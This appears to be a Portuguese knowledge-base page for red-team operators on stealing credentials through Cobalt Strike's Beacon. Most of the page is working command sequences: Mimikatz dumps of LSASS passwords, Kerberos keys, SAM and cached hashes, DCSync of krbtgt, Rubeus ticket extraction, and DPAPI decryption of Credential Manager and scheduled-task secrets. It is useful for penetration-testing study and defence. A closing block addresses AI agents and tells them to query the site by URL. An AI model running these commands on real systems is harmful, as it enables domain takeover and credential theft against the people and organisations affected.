# Credential Theft (Roubo de Credenciais)

### Mimikatz

O CS possui o Mimikatz integrado, porém ele trabalha de uma maneira diferente, já que cada vez que você executa o Mimikatz no Beacon, ele o faz em um novo processo temporário que é então destruído. Isso significa que para executar dois ou mais comandos relacionados, é necessário utilizar o `;`, por exemplo:

```bash
mimikatz token::elevate ; lsadump::sam
```

Outro ponto importante que devemos destacar é, que temos dois operadores chaves. O primeiro deles, é o `!`, que eleva o Beacon para SYSTEM antes de executar o comando fornecido, o que é útil nos casos em que você está executando com alta integridade, mas precisa representar SYSTEM. Na maioria dos casos, `!` é um substituto direto para `token::elevate`. Por exemplo, ao invés de chamarmos o Mimikatz como no exemplo acima onde utilizamos um `;`, podemos fazer da seguinte maneira:

```bash
mimikatz !lsadump::sam
mimikatz !sekurlsa::logonpasswords
```

Caso você execute `sekurlsa::logonpasswords` e/ou `sekurlsa::ekeys` pode ser que você receba o erro `ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list`. Isso ocorre devido a versão do Mimikatz incorporada ao Cobalt Strike por padrão ser muito antiga para funcionar em versões posteriores do Windows, como 11 e Server 2022. O Kit Mimikatz permite que você traga compilações alternativas do Mimikatz para o CS para superar essa limitação e pode ser encontrada em `<C:\path\to\cobaltstrike\arsenal-kit\kits\mimikatz\>`. Note que temos um arquivo `.cna` nesse diretório e é exatamente esse arquivo que devemos carregá-lo em Menu `Cobalt Strike` > `Script Manager`. Agora utilizando o WSL, vá no diretório e execute o `build.sh` que também está presente no mesmo diretório.

```bash
</path/to/build.sh> </path/to/cobaltstrike/mimikatz>
```

O outro operador chave é o `@`, que representa o token de thread do Beacon antes de executar o comando fornecido, o que é útil nos casos em que o Mimikatz precisa interagir com um sistema remoto, como o dcsync. Isso também é compatível com outras primitivas de representação, como `make_token` e `steal_token`. Por exemplo:

```bash
# Realizando impersonate
make_token <DOMAIN>\<user> <senha>

# Utilizando o @
mimikatz @lsadump::dcsync /user:<DOMAIN>\krbtgt
```

#### sekurlsa::logonpasswords - Capturando Senha e Hashes

O CS automatizou o comando `mimikatz !sekurlsa::logonpasswords` do Mimikatz, em um simples `logonpasswords`. Depois de executar esse comando, vá no Menu `View` > `Credentials` para ver o resultado.

#### sekurlsa::ekeys - Capturando Chaves Kerberos

O módulo `sekurlsa::ekeys` do Mimikatz irá despejar as chaves de criptografia Kerberos dos usuários atualmente conectados. Como a maioria dos serviços modernos do Windows optam por usar Kerberos em vez de NTLM, aproveitá-los em vez de hashes NTLM faz mais sentido para se misturar ao tráfego de autenticação normal.

```bash
mimikatz !sekurlsa::ekeys
```

#### lsadump::sam - Capturando NTLM Local

O banco de dados `Security Account Manager (SAM)` contém apenas os hashes NTLM de contas locais. Eles podem ser extraídos com o módulo `lsadump::sam` do Mimikatz. Se uma conta de administrador local comum estiver sendo usada com a mesma senha em todo um ambiente, isso pode tornar muito trivial a movimentação lateral.

```bash
mimikatz !lsadump::sam
```

#### Domain Cached Credentials (DCC)

O DCC (Domain Cached Credentials / Credenciais Armazenadas em Cache de Domínio) foi projetado para que máquinas que já foram ingressadas no Domínio, consigam autenticar usuários (que já se autenticaram anteriormente), mesmo em casos onde não tem conectividade com o DC ou até mesmo em situações onde a máquina está sem internet. Isso do ponto de vista prático é bom, porém esses hashes em cache local podem ser extraídas e quebradas offline para recuperar credenciais de texto simples. Infelizmente, o formato hash não é NTLM, portanto não pode ser usado para fazer um pass-the-hash. O único uso viável para eles é quebrá-los offline e ele é bem mais lento para quebrar, do que o NTLM.

Para realizar esse dump, utilize o comando abaixo

```bash
mimikatz !lsadump::cache
```

Para quebrá-lo com o Hashcat, utilize o seguinte formato:

```bash
$DCC2$<iterations>#<username>#<hash>
```

#### Extraindo Tickets Kerberos

Rubeus é uma ferramenta C# projetada para interação e abusos do Kerberos, usando APIs legítimas do Windows. O comando abaixo (`triage`), listará todos os tickets Kerberos em sua sessão de logon atual e, se elevado, de todas as sessões de logon na máquina.

```bash
execute-assembly <C:\Path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> triage
```

Na saída do comando acima, podemos ver que cada usuário/computador possui um `LUID`, que nada mais é do que um identificador. Iremos utilizar esse e outros valores para filtrar no comando abaixo e extrair (dump) somente os tickets da memória de um determinado usuário. Abaixo iremos filtrar com o `LUID` de um usuários que esteja com o `Service` do tipo `krbtgt/<DOMAIN.LOCAL>`.

```bash
execute-assembly <C:\Path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> dump /nowrap /luid:<LUID> /service:krbtgt
```

Caso você não não informe o LUID e o Service, o Rubeus irá pegar de todos os usuários. O parâmetro `/nowrap` serve para deixar o ticket em uma linha única, o que pode ser melhor para copiar. Porém, caso prefira, remova esse parâmetro para que ele tenha quebra de linhas.

#### DCSync

O protocolo `Directory Replication Service (MS-DRSR)` é utilizado para sincronizar e replicar dados do Active Directory entre controladores de domínio. DCSync é uma técnica que aproveita esse protocolo para extrair dados de nome de usuário e credenciais de um DC. O CS possui um comando próprio dedicado para DCSync, sendo ele:

```bash
# Fazendo um impersonate de um usuário que tenha privilégios de Domain Admin
make_token <DOMAIN>\<user> <pass>

# Realizando o DCSync
dcsync <subdomain.domain.local> <SUBDOMAIN>\krbtgt
```

Assim, é possível extrair as chaves NTLM e AES para a conta krbtgt usando uma conta de administrador de domínio.

### Windows Credential Manager

Execute no Beacon, para ver se existe senhas salvas Windows Credentials Manager.

```bash
run vaultcmd /list
run vaultcmd /listcreds:"Windows Credentials" /all
execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> WindowsVault
```

Caso exista senhas salvas, podemos ver essas credenciais criptografas armazenadas no diretório `Credentials` dos usuários.

```bash
ls C:\Users\<user>\AppData\Local\Microsoft\Credentials
```

Caso queria automatizar uma busca por esses e outros diretórios que armazenam senhas, execute o seguinte comando:

```bash
execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> WindowsCredentialFiles
```

Existe a chave mestra que é usada para criptografar as chaves e elas são armazenadas no diretório `Protect` do usuário. O nome do arquivo, é um GUID, que devemos anotar para dar continuidade nos próximos comandos. Para ver esses arquivos, execute o comando abaixo.

```bash
ls C:\Users\<user</\AppData\Roaming\Microsoft\Protect\<SUID>
```

Como você pôde ver, isso também está criptografado, porém podemos contornar essa situção. Primeiro vamos descriptografar a chave mestra para obter a chave de criptografia AES128/256 real e, em seguida, usar essa chave para descriptografar o blob de credenciais. Há duas maneiras de fazer isso. A primeira maneira só é possível se você tiver acesso de administrador local na máquina e se a chave estiver armazenada em cache no LSASS. Ela não estará no cache se o usuário não tiver acessado/descriptografado recentemente a credencial.

```bash
mimikatz !sekurlsa::dpapi
```

Na saída do comando acima, verifique se o valor de `GUID`, dentro de `SID`, é mesmo valor de um dos arquivos exibidos no diretório `Protect` do usuário (comando executado anteiormente). Caso seja o mesmo, copie o valor do seu `MasterKey`.

A outra maneira não precisa de ter acesso privilégios altos ou interação com LSASS, pois este realizar solicitação ao DC por meio do Microsoft BackupKey Remote Protocol (MS-BKRP). Ele foi projetado para ser à prova de falhas caso um usuário altere ou esqueça sua senha e para oferecer suporte a diversas funcionalidades de cartão inteligente.

```bash
mimikatz dpapi::masterkey /in:<C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SUID>\<GUID> /rpc
```

Note que é resultado que queremos está no valor de `key` que, obviamente, é o mesmo valor que pôde ser localizado em `MasterKey` no comando anteior.

**OBS.:** Isso só funcionará se for executado no contexto do usuário que possui a chave. Se o seu Beacon estiver sendo executado como outro usuário ou SYSTEM, você deve primeiro representar o usuário alvo de alguma forma e, em seguida, executar o comando usando o modificador `@`.

Após ter feito um dos procedimentos acima e ter a chave em mãos, podemos finalmente descriptografar o `blob`, vendo o resultado no campo `CredentialBlob`.

```bash
mimikatz dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<HASH> /masterkey:<masterkey_value>
```

###

### Scheduled Task Credentials

As tarefas agendadas podem salvar credenciais para que possam ser executadas no contexto de um usuário sem que ele precise estar conectado. Se tivermos privilégios de administrador local em uma máquina, podemos descriptografá-los da mesma maneira. Os blobs são salvos em `C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\`. De uma maneira fácil, podemos utilizar o `Mimikatz` para nos informar a chave mestra utilizada para criptografar cada um. Guarde o valor do campo `guidMasterKey`.

```bash
mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\<hash>
```

Agora, vamos realizar o dump das chaves em cache e procure no campo `GUID`, o mesmo valor de `guidMasterKey` (na saída do comando anterior). Assim que localizar, pegue o valor do campo `MasterKey`.

```bash
mimikatz !sekurlsa::dpapi
```

Com o valor de `MasterKey` em mãos, vamos descriptografar. A senha estará no valor `CredentialBlob`.

```bash
mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\<hash> /masterkey:<masterkey_value>
```

### Sites

```bash
# Rubeus
https://github.com/GhostPack/Rubeus
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/tools/cobalt-strike/credential-theft-roubo-de-credenciais.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
